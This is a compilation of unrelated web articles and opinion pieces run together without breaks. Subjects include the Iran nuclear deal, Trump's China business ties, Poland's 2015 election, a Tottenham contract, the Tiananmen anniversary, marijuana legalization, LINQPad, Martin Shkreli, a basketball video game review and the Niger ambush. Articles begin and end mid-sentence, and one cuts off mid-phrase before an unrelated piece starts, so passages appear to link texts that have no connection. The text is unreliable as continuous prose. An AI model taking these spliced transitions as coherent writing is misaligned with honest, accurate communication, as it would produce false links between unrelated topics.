Tehran has also agreed to the most intrusive inspection and monitoring regime ever imposed on a signatory of the Nuclear Nonproliferation Treaty (NPT), as it will allow the IAEA to inspect daily its facilities in Natanz and Fordow. For the first time, the country would also allow inspection and monitoring of its centrifuge manufacturing facilities and its uranium mines and mills.Influential columnist Margaret Wente shares her controversial opinion on seven sacred Canadian cows most dare not criticize.
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7 CANADIAN “TRUTHS” WORTH QUESTIONING
Every culture has its unacknowledged taboos-the things you are forbidden to say or do in polite company, the accepted truths you are not allowed to doubt. You might think that a liberal, open-minded country like Canada would be free of such taboos, but you’d be wrong. In spite of our belief in our own enlightened tolerance, some things are simply not open to debate. If you try, you’re bound to shock the neighbours.
It’s risky to question the wisdom of the tribe. You might get stoned. On the other hand, some people might sneak up to you afterwards and confess that they secretly agree.
So here’s a challenge to a few of our nation’s most widely held beliefs. You say these things in public at your own peril. I will be elaborating on these points over the months to come. Feel free to stone me or secretly agree-or, even better, add to the list. At the very least, they’re sure to start a good dinner-party fight.WASHINGTON -- During the campaign, President-elect Trump threatened to start a trade war with China.
“We can’t continue to allow China to rape our country and that’s what they’re doing,” he said on the trail.
Yet he has also bragged about his great business relationship with the Chinese.
Security clearance for Trump children?
“The thing they most want - you know what one of the ten things: anything Trump. You believe it? My apartments, my ties. They love me,” he said at a 2014 event.
Trump’s web of financial interests in China only adds to the unprecedented conflicts posed by his global business which will be run by his children, who are also his key advisers.
His daughter Ivanka once told the Wall Street Journal “for us there is a great future in China.”
They have eyed potential hotel projects in Beijing and Shenzhen. Trump’s financial disclosure lists companies such as Trump China Development LLC.
In 2012, Ivanka said they had a team based in Shanghai.
“There’s such interest in the brand being here,” she said to the Wall Street Journal. “We’re really ramping up our commitment to meeting the right partners and finding the right opportunities.”
Scott Kennedy CBS News
But taking those steps is all but impossible without also doing business with the Chinese government, according to Scott Kennedy of the Center for Strategic and International Studies.
“The line between business and government is a lot fuzzier and much more complex,” he said. “They can open and close doors to individual deals in a way that you can’t elsewhere in the world.”
China also owes the president-elect money: The state-run Bank of China is a tenant in Trump Tower.
One potential check on these conflicts is a clause in the constitution that forbids a government official receiving payments from foreign governments or companies owned by foreign governments. But it would be up to the Republican-controlled Congress to enforce it.
In response to a request for comment, a spokesperson for the Trump Organization said “We are in the process of vetting various structures with the goal of the immediate transfer of management of The Trump Organization and its portfolio of businesses to Donald Jr., Ivanka and Eric Trump as well as a team of highly skilled executives. This is a top priority at the Organization and the structure that is ultimately selected will comply with all applicable rules and regulations.”SteelCraft construction and development partner Howard CDM’s proposal to build a second SteelCraft location in downtown Garden Grove was approved during the June 13 Garden Grove City Council meeting, it was announced.
Kim Gros, SteelCraft founder and Martin Howard, Howard CDM president/CEO, attended the meeting to present the final concept to the council, where the seven members voted unanimously to proceed with the development.
“We are thrilled and incredibly grateful for the opportunity to bring SteelCraft to Garden Grove,” Gros said in a statement. “In my heart, yes, I thought SteelCraft would grow to something bigger, but in my head I didn’t think it would grow so quickly. We were flooded with inquiries from all over the country almost immediately. That’s when our team began to dream bigger.”
The Bixby Knolls-based SteelCraft Long Beach in Bixby Knolls opened to the public in February. The 15,000-square-foot development made with repurposed shipping containers houses eight vendors who offer craft food and drink. The Garden Grove deal only took 60 days to finalize.
“Part of SteelCraft’s success is that it has become a destination for residents and travelers, alike,” Howard said in a statement. “People travel from all over to participate in what SteelCraft has to offer.”
The Garden Grove SteelCraft is projected to be completed in a year to 18 months, Howard said, on an empty 1.864-acre lot formerly occupied by Black Angus from 1988 to 2005. The lot was then acquired by the Garden Grove Agency for community Development in 2009.
The development will be more than twice the square footage of the Long Beach location, and will feature a second-story eating area and children’s play area, alongside at least a dozen vendors curated based on the shared SteelCraft values of “restoration and sustainability, craft and community.”
The aforementioned values align with the City of Garden Grove’s Re:Imagine initiative, which focuses on transforming the downtown and Civic Center area, while promoting the use of public spaces and encouraging an active lifestyle by biking and walking, according to the release. Guests of SteelCraft Garden Grove can expect craft food, coffee, wine, beer, dessert and retail spaces.
For more information about SteelCraft, visit the website here.
Asia Morris is a Long Beach native covering arts and culture for the Long Beach Post. You can reach her @hugelandmass on Twitter and Instagram and at [email protected].From the vantage of Brussels, Poland's transformation from communist nation to among Europe's healthiest economies has been one of the European Union’s brightest success stories.
But that view could now change.
Tapping into discontent over an economic expansion that has not been felt equally, the Euroskeptic and nationalist Law & Justice party (PiS) captured more than 37 percent of votes in the national election Sunday, according to early results. It is projected to be able to form a government alone, the first time a single group has done so since democracy was restored in Poland in 1989.
But while PiS victory will have an immediate impact on domestic policy, the new government could also cause a wide-ranging shift on foreign affairs, from relations with NATO to Russia to the EU – and most notably, with Germany. Breaking from the policies of the outgoing Civic Platform, the center-right party that ruled Poland since 2007 and cozied up to Germany and the EU, the new government has promised to shore up alliances in the east and take on Germany – particularly its policies towards Russia and refugees.
Many fear this could ultimately isolate Poland rather than strengthen its hand.
“If Poland practices a confrontational policy towards Russia and the EU [for example on refugees], it will become an isolated island,” says Wawrzyniec Konarski, a political expert at Jagiellonian University in Krakow.
A pricklier relationship with Germany?
Beata Szydlo, Poland’s new prime minister, is believed to have been tapped to represent PiS in the race because of her less confrontational style. But Jarosław Kaczyński, former prime minister and current PiS leader, is said to hold the real power. And his distrust towards Germany and the EU is well-established.
Law & Justice rule from 2005 to 2007 was marked by public animosity towards Germany and its occupation of Poland during World War II. In 2007, Luxembourgian Prime Minister Jean-Claude Juncker, who is today president of the European Commission, admonished Poland's rulers: "You will not be happy in the long-run if you are always looking in the rear view mirror."
Former Prime Minister Donald Tusk – who tellingly now presides over the European Council – and his Civic Platform tried hard to shed 20th-century fears of Germany, viewing it not as an enemy but as the best partner to have to achieve its goals.
Now some of that progress could come undone, especially over the issue with Russia. One of the biggest changes will be in style rather than substance. Poland has always been hawkish on relations with Moscow, which grew after the annexation of Crimea. But Law & Justice is more hardline and less diplomatic, especially since the 2010 plane crash in which Mr. Kaczyński’s twin brother, Lech, died along with dozens of government officials.
They will continue to push hard for permanent NATO bases on Polish soil – something that Germany has long maintained is an unnecessary provocation towards Russia. Witold Waszczykowski, a Law & Justice lawmaker considered a candidate for foreign affairs minister, criticized Germany’s position.
“Germans think that strengthening Poland's safety would be a confrontational move towards Russia. We think that weakness provokes,” he says. “If NATO allocates here its bases, it will be a clear message for any potential aggressor.”
Jobs and refugees
This position worries voters like Piotr Szewczyk, a student at the University of Warsaw.
“During the last eight years Poland has worked out a good position in the EU. I'm afraid that all these will be lost, and that we will be seen as an insular country of eastern Europe and that everybody is going to laugh at us,” he says. “I'm afraid that new government will be also very confrontational towards Russia and that nothing good will come from this.”
But foreign policy isn’t at the top of minds of most voters. Poland’s economy expanded by nearly 50 percent in the past decade and famously was the only EU member not to sink into recession at the height of financial crisis in 2008. But that expansion has not spread equally.
Many young people, especially from poorer regions, continue to emigrate. Meanwhile, new “junk contracts,” which don't have benefits like insurance or paid vacation, have become increasingly common. Voters have also tired of eight years of the same government.
“The government kept telling us that the economy was doing well, but I haven't felt this, I lost my job and can't find new one,” says Wiesława Buziak, who worked in a store. “Relations with Russia won't get better, but it's not Poland's fault.”
Ms. Buziak is firmly against the refugee policy for which Civic Platform signed up Poland. The issue over refugees and EU member state obligations to help relocate them has caused wide divisions between eastern and western EU nations. While Poland did agree to a quota system under outgoing Prime Minister Ewa Kopacz – despite initial resistance – it is unlikely that a Law & Justice government would have done the same.
Kaczyński in fact has made some of the more controversial remarks regarding refugees – that they should be checked for diseases and parasites – and the party continues to oppose the quota plan. “We need to think about these people in Europe as illegal economic immigrants,” says Mr. Waszczykowski.
Bartłomiej Biskup, a political analyst at the University of Warsaw, says PiS won't be so radical on the refugees issue once in power, particularly because “the Catholic Church has gotten involved and is asking for allowing immigrants to come,” he says.
Hawkish on Russia and Germany?
Ultimately it’s Russia that might define the near future in Poland and its relationship with its allies. Waszczykowski has said that he, like his predecessors, wants to become a key player in the EU, not a periphery one. But he plans to do so by forming deeper regional alliances with eastern countries.
But even that might be hard to pull off, as Poland stands as an outlier on its hawkish stance towards Russia, says Mr. Konarski.
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“It would be hard for Poland to find a strategic ally in a confrontational policy towards Russia, as well as in eastern and western Europe,” he says. “Hungary, Slovakia, the Czech Republic as well as Germany and France are not interested in worsening relations with Moscow.”
• Sara Miller Llana contributed to this report from Paris.Lew Rockwell, a major libertarian thinker, was recently featured in discussion with Tom Woods, another major figure in the movement, on the Tom Woods show.
The audio can be found here.
Throughout the interview, Rockwell defines anarcho-capitalism in his own way, someone who:
Makes the Rothbardian moral argument that coercive violence is never justified. Believes that the free market can do everything the government can do, so we “don’t need government.”
Not only is this a small subsection of real anarcho-capitalism, it is among the least justified and powerful arguments for ancaps. The moral argument only has power if the listener accepts the moral precepts – what a weak basis! If we already agreed on these moral precepts we wouldn’t be in disagreement at the outset.
Real anarcho-capitalism is simply defined. An anarcho-capitalist is someone who:
Is a capitalist. Is an anarchist.
Where a capitalist is someone who favors free market economics, and a strict capitalist always favors the free market. Where an anarchist is someone who opposes the state, and a strict anarchist always does so. If you “sometimes” favor free markets or oppose the state, I don’t think you are really an ancap. I think you are at best a moderate conservative and at worst a socialist.
The non-violent approach to anarcho-capitalism fails, because people are violent.
Fortunately, this does not at all damage real anarcho-capitalism, which Rockwell fails to discuss. It merely damages Rothbardianism, or Rothbardian Anarcho-Capitalism, which is among the weakest forms.
David Friedman, the son of Milton, has a MUCH more robust view of anarcho-capitalism. Where Rockwell says that we should adopt anarcho-capitalism, Friedman claims that the principals of the system are already in operation, and their effect will be felt in the long run, regardless of whether we chose to adopt them or not. Friedman’s view does not require any moral stance.
It also does not need to exempt violence. Milton Friedman famously asked, “Where in the world do you find these angels who are going to organize society for us?” Moreover, Milton asked if there is any society which does not run on greed. Answering his own question, he said, “The record of history is absolutely crystal clear. That there is no alternative way, so far discovered, in improving the lot of the ordinary people, that can hold a candle to the productive activities that are unleashed by a free enterprise system.”
True to the best of his father, and even improving in my view, David Friedman’s Anarcho-Capitalism is:
Free from an unsound and naive moral underpinning which Rothbardianism requires. Historically validated beyond Rothbardianism, which is a yet untested innovative system. Quantitatively useful and reconcilable with classical and neoclassical quantitative models, unlike Rothbardianism. As qualitatively useful as Rothbardianism. Robust and even flourishing in the face of the greedy, violent, evil nature of people.
However, because the long run and inevitable effects of markets are expected by David as generally optimal (not perfect, but better than alternatives), he prefers to catalyze those effects. Yet this preference of his is considered as fundamentally separate from the economic science of anarcho-capitalism itself. In this way, David preserves the science of economics, while Rothbard and the Austrian line intentionally confuse the two.
Don’t get me wrong, I love the Austrians and the Rothbardians! Even the Hayekians. But if there’s a better view, why settle for a more flawed view? And please, don’t pretend that Rothbardianism is the only form of Anarcho-Capitalism. It’s not like Rothbard had a monopoly!
As a departing gift, here’s the old Bob Murphy vs David Friedman debate:
RelatedAdebayor’s current contract from Manchester City is worth £170,000 a week, but it is understood that Tottenham are ready to make a £4 million up-front payment to the player if he agrees a deal to remain at White Hart Lane until 2016.
Although the initial annual reduction in salary would be more than £3 million, a signing-on fee would significantly mitigate the difference over the next two years until 2014, when Adebayor’s contract with Manchester City is due to expire.
Adebayor has previously indicated that his decision will be heavily influenced by the financial package on offer, but it is clear that he is happy at Tottenham and attracted by the prospect of staying permanently.
His signing would also be dependent on Tottenham Hotspur reaching agreement with Manchester City on a transfer fee that is expected to be around £8 million.
With the future of manager Harry Redknapp so uncertain, Tottenham chairman Daniel Levy is keen to seal the long-term futures of key players and is ready to offer Luka Modric an extended contract worth around £100,000 a week.
It is also understood that Ledley King, the club captain, will be offered a new short-term contract after he has defied serious knee problems to make a significant contribution to the club’s Premier League season.
Adebayor, Modric and King are all expected to start in Sunday’s north London derby against Arsenal, with both clubs having appealed yesterday for supporters to show mutual respect. It follows abusive chanting from both sets of fans during Tottenham’s 2-1 win at White Hart Lane in October.
Adebayor’s relationship with Arsenal fans is especially sour, with the striker having sprinted the length of the field to celebrate a goal for Manchester City in front of them in 2009.
“A north London derby is always a special occasion and we hope this game will be remembered for both the action on the pitch as well as the positive support for both teams off it,” said a statement. “All fans should be aware that breaches of ground regulations - including anti-social behaviour - will not be tolerated.”
Meanwhile, Arsenal owner Stan Kroenke met manager Arsene Wenger and the rest of the board on Thursday and sanctioned a freeze in the cost of general admission season tickets for next season.
“We understand the pressure fans are under in the current economic climate,” said chief executive Ivan Gazidis. Kroenke is staying in London to watch Sunday’s match against Tottenham.
Arsenal were also still in talks yesterday with Zenit St Petersburg over Andrei Arshavin, but are reluctant to sanction a proposed loan deal.
The Russian transfer window closes tonight, with Arsenal only likely to let Arshavin leave if they can recoup a significant proportion of the £13 million that was spent on him in 2009.China’s dictatorship is haunted by the prospect of a new mass revolt
Vincent Kolo, chinaworker.info
June 4th marks the 25th anniversary of the bloody massacre in Beijing that ended the mass student-led democracy movement which came close to toppling the Chinese dictatorship. This year on the night of June 4, hundreds of thousands will fill Hong Kong’s Victoria Park for the city’s annual commemoration of these events. Less than one hour’s train ride away, however, in mainland China, no protests will be tolerated and all mention of the 1989 movement has been erased from the media and internet. As Chen Mo explained in our book Seven Weeks That Shook the World (chinaworker.info 2009) “It is almost as if ‘89’, ‘June 4th’ and the ‘Tiananmen Incident’ never happened, and the subsequent generations have unfortunately been given amnesia-at-birth.” This book, which includes Stephen Jolly’s excellent ‘Eyewitness in China’, written after participating in these events, can be ordered from chinaworker.info.
Xi Jinping, the current ‘strong man’ heading China’s misnamed ‘communist’ party (CPP), has made clear there will be no political relaxation or ‘democratic reform’ on his watch, but rather a fortification of one-party rule. At the same time, pro-capitalist policies (the early effects of which were an important trigger for the 1989 protests) will continue and accelerate to give the market a ‘decisive role’.
Latest crackdown
In recent weeks there has been a further crackdown on prominent dissidents in China as the regime pre-emptively exorcises the ghosts of the 1989 movement. “The breadth and scope of the crackdown is worrying and definitely an increase from previous years,” noted an Amnesty International spokesman in Hong Kong. The lawyer Pu Zhiqiang, who has represented other dissidents including artist Ai Weiwei, was arrested after a meeting in Beijing to discuss the 1989 movement. Veteran journalist Gao Yu was paraded in prison uniform on state broadcaster CCTV, accused of revealing state secrets, a very serious charge. This latest bout of repression is again aimed at both right and left, with pro-Maoist websites among those closed in recent weeks.
In the quarter century since the June 4th massacre, China’s economic growth achieved ‘miracle’ status, and despite its current slowdown is widely tipped to overtake the US as the world’s biggest economy before the end of the decade. The CCP’s model of ‘state capitalist’ development has created more dollar billionaires than anywhere outside the US, most of whom hold strong connections to the dictatorship and even sit in its auxiliary organs. The apparent successes of the CCP regime, after wading through the blood of anti-government protesters in 1989, has produced admirers among the world’s capitalists (even if many governments increasingly view China as a military and economic threat). This has also spawned the theory of “resilient authoritarianism” – a regime that has adapted, co-opted, and imitated, in order to stay in power.
In the months and years immediately after the Beijing massacre, many Chinese dissidents and democracy activists believed the regime was doomed to imminent collapse, like the USSR and other Stalinist one-party states. When this did not transpire the advocates of ‘bourgeois democracy’ in China began to adapt politically to the CCP, seeing ‘compromise’ and ‘gradual change’ as the only realistic strategy and regarding revolution as dangerous, a threat to capitalist interests and ‘stability’. This also describes the flawed approach of Hong Kong’s pro-democracy leaders. In so doing, these layers have moved further and further away from the actual tradition of struggle established by the 1989 movement, which as we socialists explain, posed a revolutionary threat to the dictatorship, albeit without the crucial ingredient of a clear programme and leadership.
In the intervening years the capitalists internationally have also rushed to do |
marijuana, but not sales.)
This is only the beginning for legalization advocates. According to the Marijuana Policy Project, advocates hope to legalize marijuana in nine more states by 2019. Eight of these efforts will focus on lobbying state legislatures: Connecticut, Delaware, Illinois, Maryland, New Hampshire, Rhode Island, Texas, and Vermont. And one — Michigan — will likely go through a ballot initiative.
The transition to state legislatures is a turning point in the movement. With eight legal pot states, the issue is now mainstream enough, advocates think, that risk-averse state lawmakers can seriously consider it.
The major bellwether here could be California. As the country’s most populous state, it stands to show the rest of the nation — more than any other state — that legal pot can work. State lawmakers in particular may want to consider the jobs and tax revenue that will come out of California: One report from researchers at the investment bank Cowen estimated that legalization in California alone will triple the size of the nation’s current $6 billion legal pot industry within a decade. Another report from ArcView Market Research estimated that legalization in California would create a new $6.5 billion market for legal use by 2020.
And jumping from ballot initiatives to state legislatures is something that has worked for marijuana advocates before. After several states, including California, legalized pot for medical purposes, state legislatures suddenly began considering it — including big ones like New York state, Illinois, Minnesota, and, most recently, Ohio.
So while 2016 was the biggest year for marijuana ever, it may only be the beginning for the nationwide movement.
There is, however, one major roadblock in the way: the Trump administration.
The Trump administration poses a threat to legal pot’s spread in the next few years
On the campaign trail, President-elect Donald Trump seemed relatively friendly to state-level marijuana legalization, stating that he would like to leave legalization up to the states to decide.
But then Trump nominated Alabama Sen. Jeff Sessions to head the US Department of Justice, which oversees the Drug Enforcement Administration. Sessions is seen as one of the most conservative senators on drug policy and criminal justice issues. He once said, for example, that “good people don’t smoke marijuana” while criticizing Obama’s Justice Department for not cracking down on legal pot.
“If you had asked me a year ago who’s the worst senator on drug policy, I would have probably said Jeff Sessions,” Michael Collins of the Drug Policy Alliance recently told me. “Now he’s [set to become] the head of the Justice Department.”
Although marijuana is legal or soon will be legal under eight states’ laws, it remains illegal at the federal level — classified as a schedule 1 drug, the government’s strictest category for an illicit substance. So at the whim of the president, attorney general, or DEA, federal law enforcement could raid state-legal marijuana shops and arrest anyone for possessing pot, no matter what state law says.
The Obama administration has explicitly opted not to do this, issuing a set of memos — the Ogden and Cole memos — that told federal law enforcement officials to stop going after medical or recreational marijuana outlets as long as the outlets follow a certain set of guidelines (like not letting state-legal pot fall into minors’ hands).
Trump or Sessions could repeal these memos, letting federal law enforcement crack down on legal marijuana. And the US would once again see, as it did under Bush’s presidency and Obama’s first term, mass-scale raids on marijuana sellers.
But Trump and Sessions don’t even have to go that far to crack down on legal pot. They could just ask for tougher enforcement of the guidelines set out under the Ogden and Cole memos, which could lead to more raids. For example, if federal law enforcement under Sessions find out that a marijuana shop accidentally sold pot to one minor, they could use that as grounds for a full-blown raid and shutdown — while law enforcement today might see one bad sale as a one-off incident that doesn’t merit the full action of the DEA.
Another possibility is that Trump and Sessions don’t explicitly call for more action, but they look the other way as federal law enforcement crack down on states’ marijuana laws. To this end, the appointment of a “tough on crime” hard-liner like Sessions may embolden the DEA and other federal agencies to lash out, even without an explicit order to do so.
“The DEA was never on board with 99 percent of what the Obama administration wanted to do,” Collins said. “So it’s not like they’re necessarily waiting for a green light to do this.” (Obama himself recently acknowledged this, telling Rolling Stone that “the DEA, whose job it is historically to enforce drug laws, is not always going to be on the cutting edge about these issues.”)
But Trump probably isn’t a big enough threat to stop marijuana legalization for good
There is reason to doubt that Trump or Sessions will crack down on pot. Raids on state-legal marijuana shops could inspire a furious backlash, particularly since all eight states with legal pot approved it through voter initiatives. And most US adults support legalizing marijuana, according to surveys from the Pew Research Center — making a campaign against legal pot politically risky.
But even if the Trump administration overlooks the political risks and cracks down on states’ lax marijuana laws, that doesn’t mean it’s the end for legal pot. For their part, legalization advocates plan to push ahead with legalization anyway.
After all, advocates built up support and votes for medical pot as the Bush and Obama administrations allowed hundreds of raids on medical marijuana dispensaries from the early 2000s to early 2010s. And advocates’ campaigns worked: From 2001 to late 2012, 11 states legalized medical pot or allowed dispensaries. (And Colorado and Washington state legalized marijuana for recreational purposes in late 2012.) So the movement has a history of surviving federal crackdowns in the past.
There’s also the practical matter: There are now thousands of medical pot dispensaries alone in the US, with hundreds, if not thousands, more stores open or soon opening for recreational marijuana. It would require a massive operation for the DEA to shut all of these outlets down — an operation that could easily come under public criticism over misplaced priorities, especially as the DEA has an opioid painkiller and heroin epidemic to attend to.
This is the case for optimism under Trump: Although his administration may try, it’s possible that marijuana legalization is too popular — and, especially after California’s decision to legalize, too widespread — for Trump, Sessions, or anyone under them to really do anything about it.
And so 2016’s huge gains for marijuana legalization are very likely here to stay.LINQPad: The Ultimate.NET Scratchpad
LINQPad can run not only LINQ queries, but any C#/F#/VB expression, statement or program.
For instance, have you ever needed to test a DateTime format string? In LINQPad, just enter the expression and hit F5:
With LINQPad's instant edit/run cycle and optional full autocompletion, you'll have code snippets fully tweaked in less time than it takes to bring up Visual Studio's Add Reference dialog!
What about testing a regular expression? You'll start using Regex a lot more once you have LINQPad:
Notice how LINQPad nicely formats the Match object. Complex object graphs are much more readable in LINQPad's output window.
To run a series of statements, just change the "Language" combo to Statements (or hit Ctrl+2):
Now we can really start having fun. Let's create a new RSA public/private keypair, and then encrypt and decrypt some data:
Again, you can keep tweaking your code until it does what you want, then paste working code into Visual Studio.
You can even run a full program with additional methods: just change the Language to Program, and LINQPad will wrap your code in a Main method so you can write additional methods and classes.
Need to reference custom assemblies or NuGet references? No problem: just hit F4 for the Add Reference dialog.
Additional benefits:1 of 1 2 of 1
After her humiliating loss in Vancouver–Point Grey in the 2013 election, Premier Christy Clark has decided not to test the waters in her home city in 2017.
Instead, Clark is going to seek reelection in the constituency of Westside-Kelowna, where she won a by-election following the 2013 general election.
The premier is scheduled to be nominated by her party on September 10 at a "Beans n' Jeans" event at Byland's Nursery.
Clark had an opportunity to run in Vancouver-Langara after Liberal MLA Moira Stilwell announced that she's not seeking reelection. But the premier chose instead to continue representing an Okanagan constituency, where she's enjoyed the support of descendants of former Social Credit premiers W.A.C. and Bill Bennett.
Vancouver-Langara is not far from Clark's half-duplex in Vancouver.
The premier's decision to avoid Vancouver was noticed by NDP MLA David Eby, who defeated her in the 2013 general election. You can see his tweet below:CEO Martin Shkreli earned the world’s wrath when his company Turing Pharmaceuticals purchased the rights to AIDS drug Daraprim and raised the price by over 5,000 percent.
Overnight, the cost of each pill skyrocketed from $13.50 to an unreal $750.
The drug is used to fight the Toxoplasma gondii parasite, which over 60 million Americans carry. Without treatment, people with a compromised immune system can suffer seizures, blindness, and neurological damage.
Now, Turing Pharmaceuticals has reported a $14.6 million net loss in their third-quarter (July to September of this year).
The company justified the losses by claiming they’re spending 60% of their revenue on drug research.
Right now, they’re looking into an intranasal formulation of ketamine, which they hope will treat depression and post-traumatic stress disorder.
h/t: IFL Science
This Story Filed UnderHumanity is on the threshold of being able to detect signs of alien life on other worlds. By studying exoplanet atmospheres, we can look for gases like oxygen and methane that only coexist if replenished by life. But those gases come from simple life forms like microbes. What about advanced civilizations? Would they leave any detectable signs?
They might, if they spew industrial pollution into the atmosphere. New research by theorists at the Harvard-Smithsonian Center for Astrophysics (CfA) shows that we could spot the fingerprints of certain pollutants under ideal conditions. This would offer a new approach in the search for extraterrestrial intelligence (SETI).
"We consider industrial pollution as a sign of intelligent life, but perhaps civilizations more advanced than us, with their own SETI programs, will consider pollution as a sign of unintelligent life since it's not smart to contaminate your own air," says Harvard student and lead author Henry Lin.
"People often refer to ETs as 'little green men,' but the ETs detectable by this method should not be labeled 'green' since they are environmentally unfriendly," adds Harvard co-author Avi Loeb.
The team, which also includes Smithsonian scientist Gonzalo Gonzalez Abad, finds that the upcoming James Webb Space Telescope (JWST) should be able to detect two kinds of chlorofluorocarbons (CFCs) -- ozone-destroying chemicals used in solvents and aerosols. They calculated that JWST could tease out the signal of CFCs if atmospheric levels were 10 times those on Earth. A particularly advanced civilization might intentionally pollute the atmosphere to high levels and globally warm a planet that is otherwise too cold for life.
There is one big caveat to this work. JWST can only detect pollutants on an Earth-like planet circling a white dwarf star, which is what remains when a star like our Sun dies. That scenario would maximize the atmospheric signal. Finding pollution on an Earth-like planet orbiting a Sun-like star would require an instrument beyond JWST -- a next-next-generation telescope.
The team notes that a white dwarf might be a better place to look for life than previously thought, since recent observations found planets in similar environments. Those planets could have survived the bloating of a dying star during its red giant phase, or have formed from the material shed during the star's death throes.
While searching for CFCs could ferret out an existing alien civilization, it also could detect the remnants of a civilization that annihilated itself. Some pollutants last for 50,000 years in Earth's atmosphere while others last only 10 years. Detecting molecules from the long-lived category but none in the short-lived category would show that the sources are gone.
"In that case, we could speculate that the aliens wised up and cleaned up their act. Or in a darker scenario, it would serve as a warning sign of the dangers of not being good stewards of our own planet," says Loeb.Popped this game in, saw my last save date was 2013, wondered why it had been so long. I loved this game as a kid. Started playing, game seemed fun. It was me and my computer-controlled teammate vs. 2 opponents. We’re able to score in several ways—jump shot, dunk, or alley-oop. Defense was stealing, blocking, and pushing. The dunking was unfair because it moved unnaturally fast and didn’t give a chance to block unless the blocker was already there. So on defense, I couldn’t really leave my position and help out my teammate who obviously didn’t have his heart in the game or remember how to block or steal. I tried to make 3 in a row to get on fire, but my opponents made sure that never happened. By quarter 3, it was becoming difficult to score—but only for me. My opponents on the other hand had doubled their strength and speed.
By quarter 4 I was still winning, but I could barely get past half court without getting pushed over. If I managed to get a shot off, it was blocked—over and over, no matter what moves I did. If I passed the ball, my teammate was pushed over and the ball stolen. Felt like 2 against 1. How did my opponents get so super-powered? Did Doc come in and pat their backs? Did Bugs Bunny give them Michael’s secret stuff? By the end of the game, I made only 1 shot in that 4th quarter while my opponent’s got on fire twice. My shot percentage was 20% because of all their perfect blocks. I had won by a few meager points, but it was not a satisfying victory, I was frustrated. And this was on Easy.
So I went to the tutorial, Jam Camp, but it didn’t go over anything new. In fact there were some moves they didn’t even mention. I wanted to build my own character, but this game doesn’t have that. Tried several other game modes, but they were worse than regular games. At one point I just set my controller down because it didn’t seem to matter what I did—when the computer wanted to score, it scored. Only when I started losing did my teammate actually start trying. Is that what it takes to make this a fair game—to lose? After a few wins (and losses), what did I earn? Perhaps some points to increase my stats, or some powered-up dunk shoes? This game doesn’t have that. And the games were going to get increasingly harder? That gives me zero motivation to keep playing.
I looked up the ratings and couldn’t believe we were talking about the same game. How could anyone like this? Maybe it’s better with a friend. By myself it’s the worst.The Frederica Wilson affair may finally be waning. President Trump’s critics are reduced to noting that, at an event celebrating fallen FBI agents, the wannabe “rock star” didn’t grandstand by claiming credit for funding the building named after the heroes, as Gen. Kelly remembered. Instead, she grandstanded by claiming credit for getting the building named for them.
The anti-Trumpers need to take a piece out of Kelly because he is able to speak up effectively for President Trump. Thus, as Charles Blow of the New York Times says, Kelly is “VERY dangerous.” Whether they can accomplish this based on Kelly’s confusion over the precise nature of Wilson’s grandstanding is another matter. It seems to me that President Trump and his chief of staff won this round decisively.
The next round likely will be fought over the ambush in Niger that resulted in the deaths that produced the ridiculous controversy over Trump’s phone call. The anti-Trumpers hope to spin the ambush as Trump’s Benghazi. A guy from USA Today (I think it was) floated this idea on Fox News’ Special Report. (He was in Charles Krauthammer’s seat. Get well soon, Charles). So, inevitably, did the ridiculous Frederica Wilson.
There is more substance to the ambush than there is to Trump’s phone call. Four Americans died and at least two reportedly were badly injured, so the matter is serious. From all that appear so far, however, the Niger ambush presents no promising lines of attack on Trump.
There are two issues here: the sending of troops to Niger and the ambush itself.
President Obama sent a few hundred U.S. troops to Niger to help that country’s government combat ISIS. President Trump added a few hundred troops to the U.S. force.
I have no view on whether sending troops to Niger was a good idea. But it was a bipartisan one. I don’t see how Democrats get any mileage out of our involvement there.
Ambushes are a fact of life. If enough troops go on enough missions, some will be ambushed. Thus, an ambush bears no resemblance to an attack on a U.S. embassy that results in the killing of a U.S. ambassador. Thankfully, decades go by without that happening.
I don’t mean to say the Niger ambush couldn’t have been prevented with better intelligence gathering and/or decision-making. I have no idea whether it could have been.
If the ambush can be attributed to faulty intelligence and/or bad decisions on the ground, that’s clearly a matter of concern. However, culpability would likely reside with commanders and/or intelligence officers in Africa. It’s difficult to believe that the president, the Secretary of Defense, top generals at the Pentagon, or top CIA officials were involved in any way that would attach blame to them.
One can imagine scenarios in which the Niger ambush might resemble Benghazi. If President Trump or Secretary Mattis received urgent pleas from folks on the ground that this type of mission was too dangerous, this would hark back to the warnings sent to Hillary Clinton about the need to beef up security at the consulate in Benghazi.
If, following the ambush, advisers to Trump and/or Mattis made materially false claims about who or what was responsible for the ambush, this would parallel the false claims by Team Obama that the Benghazi attacks were the result of a video, rather than terrorism. But, to my knowledge, Trump’s team has not made such false claims. Everyone seems to agree that the ambush was carried out by ISIS in the Greater Sahara.
Attempting to gain political mileage from the Niger ambush strikes me as the worst kind of political ambulance chasing. Neither political party is above this practice, but the Democrats seem to pursue it more aggressively, or at least less meritoriously, perhaps because they know the mainstream media will back them in this enterprise.BindersFullofWomen.com (and.net) were snatched up seconds after Mitt Romney's remark. 'Binders full of women' spreads
That didn’t take long.
During Tuesday night’s town hall debate, in response to an answer about gender inequality in the workforce, Mitt Romney referred to having received “binders full of women” from colleagues during his time in the private sector. Sensing a meme, BindersFullofWomen.com (and.net) were snatched up just seconds later.
Story Continued Below
( Also on POLITICO: Ryan explains 'binders of women')
And by whom? According to the registry WhoIs, it was purchased by Bradley Beychok, the campaign director of liberal super PAC American Bridge, which was founded by Media Matters founder David Brock.
The line also inspired a Romney’s Binder Twitter account, and a popular Binders Full Of Women Tumblr, with references to Hugh Hefner, “Call Me Maybe,” “Say Anything,” “Dirty Dancing,” Texts from Hillary, Ryan Gosling and, of course, Trapper Keeper.
Boy, I’m full of women! #debates — Romney’s Binder (@RomneysBinder) October 17, 2012
( PHOTOS: Top political memes of 2012 race)The last three first round draft picks for the Philadelphia Flyers have been highly touted defencemen Sam Morin, Travis Sanheim, and Ivan Provorov. All three players will be vying for a roster spot come September, but the cards seem to be stacked against them.
Especially when you consider Ron Hextall's recent comments from the Courier-Posts' Dave Issac
While Flyers fans may not be able to keep from daydreaming about an entire homegrown defense corps, Hextall isn't getting the itch to push any of the prospects forward just because their pool is getting bigger. "No, it doesn't increase it for me," Hextall said Tuesday when the Flyers began their prospect camp and had all of those blueliners on the ice at once. "You almost want to pull back more. You guys want to do a project? Just go through the history of the game and young defensemen that have played at a young age and the path that they've gone on. It's dangerous. The history shows it. It's not just me saying things. If someone's gonna play, we're gonna be pretty damn sure they're going to play."
I thought right now would be a great time to do that project. There are three Flyers prospects at three different stages in their career that can be easily compared to their peers who began playing at that same stage. For this study, I will use defencemen from 2000 onward in the first round. The first season will be considered the first season that a player plays 20 games.
